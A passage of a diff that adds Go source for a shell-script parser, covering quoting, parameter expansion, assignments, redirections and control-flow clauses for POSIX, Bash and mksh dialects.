+ old := p.preNested(subCmd)
+ p.next()
+ ps.Stmts, ps.Last = p.stmtList()
+ p.postNested(old)
+ ps.Rparen = p.matched(ps.OpPos, token(ps.Op), rightParen)
+ return ps
+ case sglQuote, dollSglQuote:
+ sq := &SglQuoted{Left: p.pos, Dollar: p.tok == dollSglQuote}
+ r := p.r
+ for p.newLit(r); ; r = p.rune() {
+ switch r {
+ case '\\':
+ if sq.Dollar {
+ p.rune()
+ }
+ case '\'':
+ sq.Right = p.nextPos()
+ sq.Value = p.endLit()
+
+ // restore openBquotes
+ p.openBquotes = p.buriedBquotes
+ p.buriedBquotes = 0
+
+ p.rune()
+ p.next()
+ return sq
+ case escNewl:
+ p.litBs = append(p.litBs, '\\', '\n')
+ case utf8.RuneSelf:
+ p.tok = _EOF
+ p.quoteErr(sq.Pos(), sglQuote)
+ return nil
+ }
+ }
+ case dblQuote, dollDblQuote:
+ if p.quote == dblQuotes {
+ // p.tok == dblQuote, as "foo$" puts $ in the lit
+ return nil
+ }
+ return p.dblQuoted()
+ case bckQuote:
+ if p.backquoteEnd() {
+ return nil
+ }
+ p.ensureNoNested()
+ cs := &CmdSubst{Left: p.pos, Backquotes: true}
+ old := p.preNested(subCmdBckquo)
+ p.openBquotes++
+
+ // The lexer didn't call p.rune for us, so that it could have
+ // the right p.openBquotes to properly handle backslashes.
+ p.rune()
+
+ p.next()
+ cs.Stmts, cs.Last = p.stmtList()
+ if p.tok == bckQuote && p.lastBquoteEsc < p.openBquotes-1 {
+ // e.g. found ` before the nested backquote \` was closed.
+ p.tok = _EOF
+ p.quoteErr(cs.Pos(), bckQuote)
+ }
+ p.postNested(old)
+ p.openBquotes--
+ cs.Right = p.pos
+
+ // Like above, the lexer didn't call p.rune for us.
+ p.rune()
+ if !p.got(bckQuote) {
+ p.quoteErr(cs.Pos(), bckQuote)
+ }
+ return cs
+ case globQuest, globStar, globPlus, globAt, globExcl:
+ if p.lang == LangPOSIX {
+ p.langErr(p.pos, "extended globs", LangBash, LangMirBSDKorn)
+ }
+ eg := &ExtGlob{Op: GlobOperator(p.tok), OpPos: p.pos}
+ lparens := 1
+ r := p.r
+ globLoop:
+ for p.newLit(r); ; r = p.rune() {
+ switch r {
+ case utf8.RuneSelf:
+ break globLoop
+ case '(':
+ lparens++
+ case ')':
+ if lparens--; lparens == 0 {
+ break globLoop
+ }
+ }
+ }
+ eg.Pattern = p.lit(posAddCol(eg.OpPos, 2), p.endLit())
+ p.rune()
+ p.next()
+ if lparens != 0 {
+ p.matchingErr(eg.OpPos, eg.Op, rightParen)
+ }
+ return eg
+ default:
+ return nil
+ }
+}
+
+func (p *Parser) dblQuoted() *DblQuoted {
+ alloc := &struct {
+ quoted DblQuoted
+ parts [1]WordPart
+ }{
+ quoted: DblQuoted{Left: p.pos, Dollar: p.tok == dollDblQuote},
+ }
+ q := &alloc.quoted
+ old := p.quote
+ p.quote = dblQuotes
+ p.next()
+ q.Parts = p.wordParts(alloc.parts[:0])
+ p.quote = old
+ q.Right = p.pos
+ if !p.got(dblQuote) {
+ p.quoteErr(q.Pos(), dblQuote)
+ }
+ return q
+}
+
+func singleRuneParam(r rune) bool {
+ switch r {
+ case '@', '*', '#', '$', '?', '!', '-',
+ '0', '1', '2', '3', '4', '5', '6', '7', '8', '9':
+ return true
+ }
+ return false
+}
+
+func (p *Parser) paramExp() *ParamExp {
+ pe := &ParamExp{Dollar: p.pos}
+ old := p.quote
+ p.quote = paramExpName
+ if p.r == '#' {
+ p.tok = hash
+ p.pos = p.nextPos()
+ p.rune()
+ } else {
+ p.next()
+ }
+ switch p.tok {
+ case hash:
+ if paramNameOp(p.r) {
+ pe.Length = true
+ p.next()
+ }
+ case perc:
+ if p.lang != LangMirBSDKorn {
+ p.posErr(pe.Pos(), `"${%%foo}" is a mksh feature`)
+ }
+ if paramNameOp(p.r) {
+ pe.Width = true
+ p.next()
+ }
+ case exclMark:
+ if paramNameOp(p.r) {
+ pe.Excl = true
+ p.next()
+ }
+ }
+ op := p.tok
+ switch p.tok {
+ case _Lit, _LitWord:
+ if !numberLiteral(p.val) && !ValidName(p.val) {
+ p.curErr("invalid parameter name")
+ }
+ pe.Param = p.lit(p.pos, p.val)
+ p.next()
+ case quest, minus:
+ if pe.Length && p.r != '}' {
+ // actually ${#-default}, not ${#-}; fix the ambiguity
+ pe.Length = false
+ pe.Param = p.lit(posAddCol(p.pos, -1), "#")
+ pe.Param.ValueEnd = p.pos
+ break
+ }
+ fallthrough
+ case at, star, hash, exclMark, dollar:
+ pe.Param = p.lit(p.pos, p.tok.String())
+ p.next()
+ default:
+ p.curErr("parameter expansion requires a literal")
+ }
+ switch p.tok {
+ case _Lit, _LitWord:
+ p.curErr("%s cannot be followed by a word", op)
+ case rightBrace:
+ if pe.Excl && p.lang == LangPOSIX {
+ p.posErr(pe.Pos(), `"${!foo}" is a bash/mksh feature`)
+ }
+ pe.Rbrace = p.pos
+ p.quote = old
+ p.next()
+ return pe
+ case leftBrack:
+ if p.lang == LangPOSIX {
+ p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn)
+ }
+ if !ValidName(pe.Param.Value) {
+ p.curErr("cannot index a special parameter name")
+ }
+ pe.Index = p.eitherIndex()
+ }
+ if p.tok == rightBrace {
+ pe.Rbrace = p.pos
+ p.quote = old
+ p.next()
+ return pe
+ }
+ if p.tok != _EOF && (pe.Length || pe.Width) {
+ p.curErr("cannot combine multiple parameter expansion operators")
+ }
+ switch p.tok {
+ case slash, dblSlash:
+ // pattern search and replace
+ if p.lang == LangPOSIX {
+ p.langErr(p.pos, "search and replace", LangBash, LangMirBSDKorn)
+ }
+ pe.Repl = &Replace{All: p.tok == dblSlash}
+ p.quote = paramExpRepl
+ p.next()
+ pe.Repl.Orig = p.getWord()
+ p.quote = paramExpExp
+ if p.got(slash) {
+ pe.Repl.With = p.getWord()
+ }
+ case colon:
+ // slicing
+ if p.lang == LangPOSIX {
+ p.langErr(p.pos, "slicing", LangBash, LangMirBSDKorn)
+ }
+ pe.Slice = &Slice{}
+ colonPos := p.pos
+ p.quote = paramExpSlice
+ if p.next(); p.tok != colon {
+ pe.Slice.Offset = p.followArithm(colon, colonPos)
+ }
+ colonPos = p.pos
+ if p.got(colon) {
+ pe.Slice.Length = p.followArithm(colon, colonPos)
+ }
+ // Need to use a different matched style so arithm errors
+ // get reported correctly
+ p.quote = old
+ pe.Rbrace = p.pos
+ p.matchedArithm(pe.Dollar, dollBrace, rightBrace)
+ return pe
+ case caret, dblCaret, comma, dblComma:
+ // upper/lower case
+ if !p.lang.isBash() {
+ p.langErr(p.pos, "this expansion operator", LangBash)
+ }
+ pe.Exp = p.paramExpExp()
+ case at, star:
+ switch {
+ case p.tok == at && p.lang == LangPOSIX:
+ p.langErr(p.pos, "this expansion operator", LangBash, LangMirBSDKorn)
+ case p.tok == star && !pe.Excl:
+ p.curErr("not a valid parameter expansion operator: %v", p.tok)
+ case pe.Excl && p.r == '}':
+ if !p.lang.isBash() {
+ p.posErr(pe.Pos(), `"${!foo`+p.tok.String()+`}" is a bash feature`)
+ }
+ pe.Names = ParNamesOperator(p.tok)
+ p.next()
+ default:
+ pe.Exp = p.paramExpExp()
+ }
+ case plus, colPlus, minus, colMinus, quest, colQuest, assgn, colAssgn,
+ perc, dblPerc, hash, dblHash:
+ pe.Exp = p.paramExpExp()
+ case _EOF:
+ default:
+ p.curErr("not a valid parameter expansion operator: %v", p.tok)
+ }
+ p.quote = old
+ pe.Rbrace = p.pos
+ p.matched(pe.Dollar, dollBrace, rightBrace)
+ return pe
+}
+
+func (p *Parser) paramExpExp() *Expansion {
+ op := ParExpOperator(p.tok)
+ p.quote = paramExpExp
+ p.next()
+ if op == OtherParamOps {
+ switch p.tok {
+ case _Lit, _LitWord:
+ default:
+ p.curErr("@ expansion operator requires a literal")
+ }
+ switch p.val {
+ case "a", "u", "A", "E", "K", "L", "P", "U":
+ if !p.lang.isBash() {
+ p.langErr(p.pos, "this expansion operator", LangBash)
+ }
+ case "#":
+ if p.lang != LangMirBSDKorn {
+ p.langErr(p.pos, "this expansion operator", LangMirBSDKorn)
+ }
+ case "Q":
+ default:
+ p.curErr("invalid @ expansion operator")
+ }
+ }
+ return &Expansion{Op: op, Word: p.getWord()}
+}
+
+func (p *Parser) eitherIndex() ArithmExpr {
+ old := p.quote
+ lpos := p.pos
+ p.quote = arithmExprBrack
+ p.next()
+ if p.tok == star || p.tok == at {
+ p.tok, p.val = _LitWord, p.tok.String()
+ }
+ expr := p.followArithm(leftBrack, lpos)
+ p.quote = old
+ p.matchedArithm(lpos, leftBrack, rightBrack)
+ return expr
+}
+
+func (p *Parser) stopToken() bool {
+ switch p.tok {
+ case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd, dblSemicolon,
+ semiAnd, dblSemiAnd, semiOr, rightParen:
+ return true
+ case bckQuote:
+ return p.backquoteEnd()
+ }
+ return false
+}
+
+func (p *Parser) backquoteEnd() bool {
+ return p.lastBquoteEsc < p.openBquotes
+}
+
+// ValidName returns whether val is a valid name as per the POSIX spec.
+func ValidName(val string) bool {
+ if val == "" {
+ return false
+ }
+ for i, r := range val {
+ switch {
+ case 'a' <= r && r <= 'z':
+ case 'A' <= r && r <= 'Z':
+ case r == '_':
+ case i > 0 && '0' <= r && r <= '9':
+ default:
+ return false
+ }
+ }
+ return true
+}
+
+func numberLiteral(val string) bool {
+ for _, r := range val {
+ if '0' > r || r > '9' {
+ return false
+ }
+ }
+ return true
+}
+
+func (p *Parser) hasValidIdent() bool {
+ if p.tok != _Lit && p.tok != _LitWord {
+ return false
+ }
+ if end := p.eqlOffs; end > 0 {
+ if p.val[end-1] == '+' && p.lang != LangPOSIX {
+ end-- // a+=x
+ }
+ if ValidName(p.val[:end]) {
+ return true
+ }
+ } else if !ValidName(p.val) {
+ return false // *[i]=x
+ }
+ return p.r == '[' // a[i]=x
+}
+
+func (p *Parser) getAssign(needEqual bool) *Assign {
+ as := &Assign{}
+ if p.eqlOffs > 0 { // foo=bar
+ nameEnd := p.eqlOffs
+ if p.lang != LangPOSIX && p.val[p.eqlOffs-1] == '+' {
+ // a+=b
+ as.Append = true
+ nameEnd--
+ }
+ as.Name = p.lit(p.pos, p.val[:nameEnd])
+ // since we're not using the entire p.val
+ as.Name.ValueEnd = posAddCol(as.Name.ValuePos, nameEnd)
+ left := p.lit(posAddCol(p.pos, 1), p.val[p.eqlOffs+1:])
+ if left.Value != "" {
+ left.ValuePos = posAddCol(left.ValuePos, p.eqlOffs)
+ as.Value = p.wordOne(left)
+ }
+ p.next()
+ } else { // foo[x]=bar
+ as.Name = p.lit(p.pos, p.val)
+ // hasValidIdent already checks p.r is '['
+ p.rune()
+ p.pos = posAddCol(p.pos, 1)
+ as.Index = p.eitherIndex()
+ if p.spaced || p.stopToken() {
+ if needEqual {
+ p.followErr(as.Pos(), "a[b]", "=")
+ } else {
+ as.Naked = true
+ return as
+ }
+ }
+ if len(p.val) > 0 && p.val[0] == '+' {
+ as.Append = true
+ p.val = p.val[1:]
+ p.pos = posAddCol(p.pos, 1)
+ }
+ if len(p.val) < 1 || p.val[0] != '=' {
+ if as.Append {
+ p.followErr(as.Pos(), "a[b]+", "=")
+ } else {
+ p.followErr(as.Pos(), "a[b]", "=")
+ }
+ return nil
+ }
+ p.pos = posAddCol(p.pos, 1)
+ p.val = p.val[1:]
+ if p.val == "" {
+ p.next()
+ }
+ }
+ if p.spaced || p.stopToken() {
+ return as
+ }
+ if as.Value == nil && p.tok == leftParen {
+ if p.lang == LangPOSIX {
+ p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn)
+ }
+ if as.Index != nil {
+ p.curErr("arrays cannot be nested")
+ }
+ as.Array = &ArrayExpr{Lparen: p.pos}
+ newQuote := p.quote
+ if p.lang.isBash() {
+ newQuote = arrayElems
+ }
+ old := p.preNested(newQuote)
+ p.next()
+ p.got(_Newl)
+ for p.tok != _EOF && p.tok != rightParen {
+ ae := &ArrayElem{}
+ ae.Comments, p.accComs = p.accComs, nil
+ if p.tok == leftBrack {
+ left := p.pos
+ ae.Index = p.eitherIndex()
+ p.follow(left, `"[x]"`, assgn)
+ }
+ if ae.Value = p.getWord(); ae.Value == nil {
+ switch p.tok {
+ case leftParen:
+ p.curErr("arrays cannot be nested")
+ return nil
+ case _Newl, rightParen, leftBrack:
+ // TODO: support [index]=[
+ default:
+ p.curErr("array element values must be words")
+ return nil
+ }
+ }
+ if len(p.accComs) > 0 {
+ c := p.accComs[0]
+ if c.Pos().Line() == ae.End().Line() {
+ ae.Comments = append(ae.Comments, c)
+ p.accComs = p.accComs[1:]
+ }
+ }
+ as.Array.Elems = append(as.Array.Elems, ae)
+ p.got(_Newl)
+ }
+ as.Array.Last, p.accComs = p.accComs, nil
+ p.postNested(old)
+ as.Array.Rparen = p.matched(as.Array.Lparen, leftParen, rightParen)
+ } else if w := p.getWord(); w != nil {
+ if as.Value == nil {
+ as.Value = w
+ } else {
+ as.Value.Parts = append(as.Value.Parts, w.Parts...)
+ }
+ }
+ return as
+}
+
+func (p *Parser) peekRedir() bool {
+ switch p.tok {
+ case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut,
+ hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir:
+ return true
+ }
+ return false
+}
+
+func (p *Parser) doRedirect(s *Stmt) {
+ var r *Redirect
+ if s.Redirs == nil {
+ var alloc struct {
+ redirs [4]*Redirect
+ redir Redirect
+ }
+ s.Redirs = alloc.redirs[:0]
+ r = &alloc.redir
+ s.Redirs = append(s.Redirs, r)
+ } else {
+ r = &Redirect{}
+ s.Redirs = append(s.Redirs, r)
+ }
+ r.N = p.getLit()
+ if !p.lang.isBash() && r.N != nil && r.N.Value[0] == '{' {
+ p.langErr(r.N.Pos(), "{varname} redirects", LangBash)
+ }
+ if p.lang == LangPOSIX && (p.tok == rdrAll || p.tok == appAll) {
+ p.langErr(p.pos, "&> redirects", LangBash, LangMirBSDKorn)
+ }
+ r.Op, r.OpPos = RedirOperator(p.tok), p.pos
+ p.next()
+ switch r.Op {
+ case Hdoc, DashHdoc:
+ old := p.quote
+ p.quote, p.forbidNested = hdocWord, true
+ p.heredocs = append(p.heredocs, r)
+ r.Word = p.followWordTok(token(r.Op), r.OpPos)
+ p.quote, p.forbidNested = old, false
+ if p.tok == _Newl {
+ if len(p.accComs) > 0 {
+ c := p.accComs[0]
+ if c.Pos().Line() == s.End().Line() {
+ s.Comments = append(s.Comments, c)
+ p.accComs = p.accComs[1:]
+ }
+ }
+ p.doHeredocs()
+ }
+ case WordHdoc:
+ if p.lang == LangPOSIX {
+ p.langErr(r.OpPos, "herestrings", LangBash, LangMirBSDKorn)
+ }
+ fallthrough
+ default:
+ r.Word = p.followWordTok(token(r.Op), r.OpPos)
+ }
+}
+
+func (p *Parser) getStmt(readEnd, binCmd, fnBody bool) *Stmt {
+ pos, ok := p.gotRsrv("!")
+ s := p.stmt(pos)
+ if ok {
+ s.Negated = true
+ if p.stopToken() {
+ p.posErr(s.Pos(), `"!" cannot form a statement alone`)
+ }
+ if _, ok := p.gotRsrv("!"); ok {
+ p.posErr(s.Pos(), `cannot negate a command multiple times`)
+ }
+ }
+ if s = p.gotStmtPipe(s, false); s == nil || p.err != nil {
+ return nil
+ }
+ // instead of using recursion, iterate manually
+ for p.tok == andAnd || p.tok == orOr {
+ if binCmd {
+ // left associativity: in a list of BinaryCmds, the
+ // right recursion should only read a single element
+ return s
+ }
+ b := &BinaryCmd{
+ OpPos: p.pos,
+ Op: BinCmdOperator(p.tok),
+ X: s,
+ }
+ p.next()
+ p.got(_Newl)
+ b.Y = p.getStmt(false, true, false)
+ if b.Y == nil || p.err != nil {
+ p.followErr(b.OpPos, b.Op.String(), "a statement")
+ return nil
+ }
+ s = p.stmt(s.Position)
+ s.Cmd = b
+ s.Comments, b.X.Comments = b.X.Comments, nil
+ }
+ if readEnd {
+ switch p.tok {
+ case semicolon:
+ s.Semicolon = p.pos
+ p.next()
+ case and:
+ s.Semicolon = p.pos
+ p.next()
+ s.Background = true
+ case orAnd:
+ s.Semicolon = p.pos
+ p.next()
+ s.Coprocess = true
+ }
+ }
+ if len(p.accComs) > 0 && !binCmd && !fnBody {
+ c := p.accComs[0]
+ if c.Pos().Line() == s.End().Line() {
+ s.Comments = append(s.Comments, c)
+ p.accComs = p.accComs[1:]
+ }
+ }
+ return s
+}
+
+func (p *Parser) gotStmtPipe(s *Stmt, binCmd bool) *Stmt {
+ s.Comments, p.accComs = p.accComs, nil
+ switch p.tok {
+ case _LitWord:
+ switch p.val {
+ case "{":
+ p.block(s)
+ case "if":
+ p.ifClause(s)
+ case "while", "until":
+ p.whileClause(s, p.val == "until")
+ case "for":
+ p.forClause(s)
+ case "case":
+ p.caseClause(s)
+ case "}":
+ p.curErr(`%q can only be used to close a block`, p.val)
+ case "then":
+ p.curErr(`%q can only be used in an if`, p.val)
+ case "elif":
+ p.curErr(`%q can only be used in an if`, p.val)
+ case "fi":
+ p.curErr(`%q can only be used to end an if`, p.val)
+ case "do":
+ p.curErr(`%q can only be used in a loop`, p.val)
+ case "done":
+ p.curErr(`%q can only be used to end a loop`, p.val)
+ case "esac":
+ p.curErr(`%q can only be used to end a case`, p.val)
+ case "!":
+ if !s.Negated {
+ p.curErr(`"!" can only be used in full statements`)
+ break
+ }
+ case "[[":
+ if p.lang != LangPOSIX {
+ p.testClause(s)
+ }
+ case "]]":
+ if p.lang != LangPOSIX {
+ p.curErr(`%q can only be used to close a test`, p.val)
+ }
+ case "let":
+ if p.lang != LangPOSIX {
+ p.letClause(s)
+ }
+ case "function":
+ if p.lang != LangPOSIX {
+ p.bashFuncDecl(s)
+ }
+ case "declare":
+ if p.lang.isBash() { // Note that mksh lacks this one.
+ p.declClause(s)
+ }
+ case "local", "export", "readonly", "typeset", "nameref":
+ if p.lang != LangPOSIX {
+ p.declClause(s)
+ }
+ case "time":
+ if p.lang != LangPOSIX {
+ p.timeClause(s)
+ }
+ case "coproc":
+ if p.lang.isBash() { // Note that mksh lacks this one.
+ p.coprocClause(s)
+ }
+ case "select":
+ if p.lang != LangPOSIX {
+ p.selectClause(s)
+ }
+ case "@test":
+ if p.lang == LangBats {
+ p.testDecl(s)
+ }
+ }
+ if s.Cmd != nil {
+ break
+ }
+ if p.hasValidIdent() {
+ p.callExpr(s, nil, true)
+ break
+ }
+ name := p.lit(p.pos, p.val)
+ if p.next(); p.got(leftParen) {
+ p.follow(name.ValuePos, "foo(", rightParen)
+ if p.lang == LangPOSIX && !ValidName(name.Value) {
+ p.posErr(name.Pos(), "invalid func name")
+ }
+ p.funcDecl(s, name, name.ValuePos, true)
+ } else {
+ p.callExpr(s, p.wordOne(name), false)
+ }
+ case rdrOut, appOut, rdrIn, dplIn, dplOut, clbOut, rdrInOut,
+ hdoc, dashHdoc, wordHdoc, rdrAll, appAll, _LitRedir:
+ p.doRedirect(s)
+ p.callExpr(s, nil, false)
+ case bckQuote:
+ if p.backquoteEnd() {
+ return nil
+ }
+ fallthrough
+ case _Lit, dollBrace, dollDblParen, dollParen, dollar, cmdIn, cmdOut,
+ sglQuote, dollSglQuote, dblQuote, dollDblQuote, dollBrack,
+ globQuest, globStar, globPlus, globAt, globExcl:
+ if p.hasValidIdent() {
+ p.callExpr(s, nil, true)
+ break
+ }
+ w := p.wordAnyNumber()
+ if p.got(leftParen) {
+ p.posErr(w.Pos(), "invalid func name")
+ }
+ p.callExpr(s, w, false)
+ case leftParen:
+ p.subshell(s)
+ case dblLeftParen:
+ p.arithmExpCmd(s)
+ default:
+ if len(s.Redirs) == 0 {
+ return nil
+ }
+ }
+ for p.peekRedir() {
+ p.doRedirect(s)
+ }
+ // instead of using recursion, iterate manually
+ for p.tok == or || p.tok == orAnd {
+ if binCmd {
+ // left associativity: in a list of BinaryCmds, the
+ // right recursion should only read a single element
+ return s
+ }
+ if p.tok == orAnd && p.lang == LangMirBSDKorn {
+ // No need to check for LangPOSIX, as on that language
+ // we parse |& as two tokens.
+ break
+ }
+ b := &BinaryCmd{OpPos: p.pos, Op: BinCmdOperator(p.tok), X: s}
+ p.next()
+ p.got(_Newl)
+ if b.Y = p.gotStmtPipe(p.stmt(p.pos), true); b.Y == nil || p.err != nil {
+ p.followErr(b.OpPos, b.Op.String(), "a statement")
+ break
+ }
+ s = p.stmt(s.Position)
+ s.Cmd = b
+ s.Comments, b.X.Comments = b.X.Comments, nil
+ // in "! x | y", the bang applies to the entire pipeline
+ s.Negated = b.X.Negated
+ b.X.Negated = false
+ }
+ return s
+}
+
+func (p *Parser) subshell(s *Stmt) {
+ sub := &Subshell{Lparen: p.pos}
+ old := p.preNested(subCmd)
+ p.next()
+ sub.Stmts, sub.Last = p.stmtList()
+ p.postNested(old)
+ sub.Rparen = p.matched(sub.Lparen, leftParen, rightParen)
+ s.Cmd = sub
+}
+
+func (p *Parser) arithmExpCmd(s *Stmt) {
+ ar := &ArithmCmd{Left: p.pos}
+ old := p.preNested(arithmExprCmd)
+ p.next()
+ if p.got(hash) {
+ if p.lang != LangMirBSDKorn {
+ p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn)
+ }
+ ar.Unsigned = true
+ }
+ ar.X = p.followArithm(dblLeftParen, ar.Left)
+ ar.Right = p.arithmEnd(dblLeftParen, ar.Left, old)
+ s.Cmd = ar
+}
+
+func (p *Parser) block(s *Stmt) {
+ b := &Block{Lbrace: p.pos}
+ p.next()
+ b.Stmts, b.Last = p.stmtList("}")
+ pos, ok := p.gotRsrv("}")
+ b.Rbrace = pos
+ if !ok {
+ p.matchingErr(b.Lbrace, "{", "}")
+ }
+ s.Cmd = b
+}
+
+func (p *Parser) ifClause(s *Stmt) {
+ rootIf := &IfClause{Position: p.pos}
+ p.next()
+ rootIf.Cond, rootIf.CondLast = p.followStmts("if", rootIf.Position, "then")
+ rootIf.ThenPos = p.followRsrv(rootIf.Position, "if ", "then")
+ rootIf.Then, rootIf.ThenLast = p.followStmts("then", rootIf.ThenPos, "fi", "elif", "else")
+ curIf := rootIf
+ for p.tok == _LitWord && p.val == "elif" {
+ elf := &IfClause{Position: p.pos}
+ curIf.Last = p.accComs
+ p.accComs = nil
+ p.next()
+ elf.Cond, elf.CondLast = p.followStmts("elif", elf.Position, "then")
+ elf.ThenPos = p.followRsrv(elf.Position, "elif ", "then")
+ elf.Then, elf.ThenLast = p.followStmts("then", elf.ThenPos, "fi", "elif", "else")
+ curIf.Else = elf
+ curIf = elf
+ }
+ if elsePos, ok := p.gotRsrv("else"); ok {
+ curIf.Last = p.accComs
+ p.accComs = nil
+ els := &IfClause{Position: elsePos}
+ els.Then, els.ThenLast = p.followStmts("else", els.Position, "fi")
+ curIf.Else = els
+ curIf = els
+ }
+ curIf.Last = p.accComs
+ p.accComs = nil
+ rootIf.FiPos = p.stmtEnd(rootIf, "if", "fi")
+ for els := rootIf.Else; els != nil; els = els.Else {
+ // All the nested IfClauses share the same FiPos.
+ els.FiPos = rootIf.FiPos
+ }
+ s.Cmd = rootIf
+}
+
+func (p *Parser) whileClause(s *Stmt, until bool) {
+ wc := &WhileClause{WhilePos: p.pos, Until: until}
+ rsrv := "while"
+ rsrvCond := "while "
+ if wc.Until {
+ rsrv = "until"
+ rsrvCond = "until "
+ }
+ p.next()
+ wc.Cond, wc.CondLast = p.followStmts(rsrv, wc.WhilePos, "do")
+ wc.DoPos = p.followRsrv(wc.WhilePos, rsrvCond, "do")
+ wc.Do, wc.DoLast = p.followStmts("do", wc.DoPos, "done")
+ wc.DonePos = p.stmtEnd(wc, rsrv, "done")
+ s.Cmd = wc
+}
+
+func (p *Parser) forClause(s *Stmt) {
+ fc := &ForClause{ForPos: p.pos}
+ p.next()
+ fc.Loop = p.loop(fc.ForPos)
+
+ start, end := "do", "done"
+ if pos, ok := p.gotRsrv("{"); ok {
+ if p.lang == LangPOSIX {
+ p.langErr(pos, "for loops with braces", LangBash, LangMirBSDKorn)
+ }
+ fc.DoPos = pos
+ fc.Braces = true
+ start, end = "{", "}"
+ } else {
+ fc.DoPos = p.followRsrv(fc.ForPos, "for foo [in words]", start)
+ }
+
+ s.Comments = append(s.Comments, p.accComs...)
+ p.accComs = nil
+ fc.Do, fc.DoLast = p.followStmts(start, fc.DoPos, end)
+ fc.DonePos = p.stmtEnd(fc, "for", end)
+ s.Cmd = fc
+}
+
+func (p *Parser) loop(fpos Pos) Loop {
+ if !p.lang.isBash() {
+ switch p.tok {
+ case leftParen, dblLeftParen:
+ p.langErr(p.pos, "c-style fors", LangBash)
+ }
+ }
+ if p.tok == dblLeftParen {
+ cl := &CStyleLoop{Lparen: p.pos}
+ old := p.preNested(arithmExprCmd)
+ p.next()
+ cl.Init = p.arithmExpr(false)
+ if !p.got(dblSemicolon) {
+ p.follow(p.pos, "expr", semicolon)
+ cl.Cond = p.arithmExpr(false)
+ p.follow(p.pos, "expr", semicolon)
+ }
+ cl.Post = p.arithmExpr(false)
+ cl.Rparen = p.arithmEnd(dblLeftParen, cl.Lparen, old)
+ p.got(semicolon)
+ p.got(_Newl)
+ return cl
+ }
+ return p.wordIter("for", fpos)
+}
+
+func (p *Parser) wordIter(ftok string, fpos Pos) *WordIter {
+ wi := &WordIter{}
+ if wi.Name = p.getLit(); wi.Name == nil {
+ p.followErr(fpos, ftok, "a literal")
+ }
+ if p.got(semicolon) {
+ p.got(_Newl)
+ return wi
+ }
+ p.got(_Newl)
+ if pos, ok := p.gotRsrv("in"); ok {
+ wi.InPos = pos
+ for !p.stopToken() {
+ if w := p.getWord(); w == nil {
+ p.curErr("word list can only contain words")
+ } else {
+ wi.Items = append(wi.Items, w)
+ }
+ }
+ p.got(semicolon)
+ p.got(_Newl)
+ } else if p.tok == _LitWord && p.val == "do" {
+ } else {
+ p.followErr(fpos, ftok+" foo", `"in", "do", ;, or a newline`)
+ }
+ return wi
+}
+
+func (p *Parser) selectClause(s *Stmt) {
+ fc := &ForClause{ForPos: p.pos, Select: true}
+ p.next()
+ fc.Loop = p.wordIter("select", fc.ForPos)
+ fc.DoPos = p.followRsrv(fc.ForPos, "select foo [in words]", "do")
+ fc.Do, fc.DoLast = p.followStmts("do", fc.DoPos, "done")
+ fc.DonePos = p.stmtEnd(fc, "select", "done")
+ s.Cmd = fc
+}
+
+func (p *Parser) caseClause(s *Stmt) {
+ cc := &CaseClause{Case: p.pos}
+ p.next()
+ cc.Word = p.getWord()
+ if cc.Word == nil {
+ p.followErr(cc.Case, "case", "a word")
+ }
+ end := "esac"
+ p.got(_Newl)
+ if pos, ok := p.gotRsrv("{"); ok {
+ cc.In = pos
+ cc.Braces = true
+ if p.lang != LangMirBSDKorn {
+ p.posErr(cc.Pos(), `"case i {" is a mksh feature`)
+ }
+ end = "}"
+ } else {
+ cc.In = p.followRsrv(cc.Case, "case x", "in")
+ }
+ cc.Items = p.caseItems(end)
+ cc.Last, p.accComs = p.accComs, nil
+ cc.Esac = p.stmtEnd(cc, "case", end)
+ s.Cmd = cc
+}
+
+func (p *Parser) caseItems(stop string) (items []*CaseItem) {
+ p.got(_Newl)
+ for p.tok != _EOF && (p.tok != _LitWord || p.val != stop) {
+ ci := &CaseItem{}
+ ci.Comments, p.accComs = p.accComs, nil
+ p.got(leftParen)
+ for p.tok != _EOF {
+ if w := p.getWord(); w == nil {
+ p.curErr("case patterns must consist of words")
+ } else {
+ ci.Patterns = append(ci.Patterns, w)
+ }
+ if p.tok == rightParen {
+ break
+ }
+ if !p.got(or) {
+ p.curErr("case patterns must be separated with |")
+ }
+ }
+ old := p.preNested(switchCase)
+ p.next()
+ ci.Stmts, ci.Last = p.stmtList(stop)
+ p.postNested(old)
+ switch p.tok {
+ case dblSemicolon, semiAnd, dblSemiAnd, semiOr:
+ default:
+ ci.Op = Break
+ items = append(items, ci)
+ return
+ }
+ ci.Last = append(ci.Last, p.accComs...)
+ p.accComs = nil
+ ci.OpPos = p.pos
+ ci.Op = CaseOperator(p.tok)
+ p.next()
+ p.got(_Newl)
+
+ // Split the comments:
+ //
+ // case x in
+ // a)
+ // foo
+ // ;;
+ // # comment for a
+ // # comment for b
+ // b)
+ // [...]
+ split := len(p.accComs)
+ for i := len(p.accComs) - 1; i >= 0; i-- {
+ c := p.accComs[i]
+ if c.Pos().Col() != p.pos.Col() {
+ break
+ }
+ split = i
+ }
+ ci.Comments = append(ci.Comments, p.accComs[:split]...)
+ p.accComs = p.accComs[split:]
+
+ items = append(items, ci)
+ }
+ return
+}
+
+func (p *Parser) testClause(s *Stmt) {
+ tc := &TestClause{Left: p.pos}
+ old := p.preNested(testExpr)
+ p.next()
+ if _, ok := p.gotRsrv("]]"); ok || p.tok == _EOF {
+ p.posErr(tc.Left, "test clause requires at least one expression")
+ }
+ tc.X = p.testExpr(dblLeftBrack, tc.Left, false)
+ if tc.X == nil {
+ p.followErrExp(tc.Left, "[[")
+ }
+ tc.Right = p.pos
+ if _, ok := p.gotRsrv("]]"); !ok {
+ p.matchingErr(tc.Left, "[[", "]]")
+ }
+ p.postNested(old)
+ s.Cmd = tc
+}
+
+func (p *Parser) testExpr(ftok token, fpos Pos, pastAndOr bool) TestExpr {
+ p.got(_Newl)
+ var left TestExpr
+ if pastAndOr {
+ left = p.testExprBase()
+ } else {
+ left = p.testExpr(ftok, fpos, true)
+ }
+ if left == nil {
+ return left
+ }
+ p.got(_Newl)
+ switch p.tok {
+ case andAnd, orOr:
+ case _LitWord:
+ if p.val == "]]" {
+ return left
+ }
+ if p.tok = token(testBinaryOp(p.val)); p.tok == illegalTok {
+ p.curErr("not a valid test operator: %s", p.val)
+ }
+ case rdrIn, rdrOut:
+ case _EOF, rightParen:
+ return left
+ case _Lit:
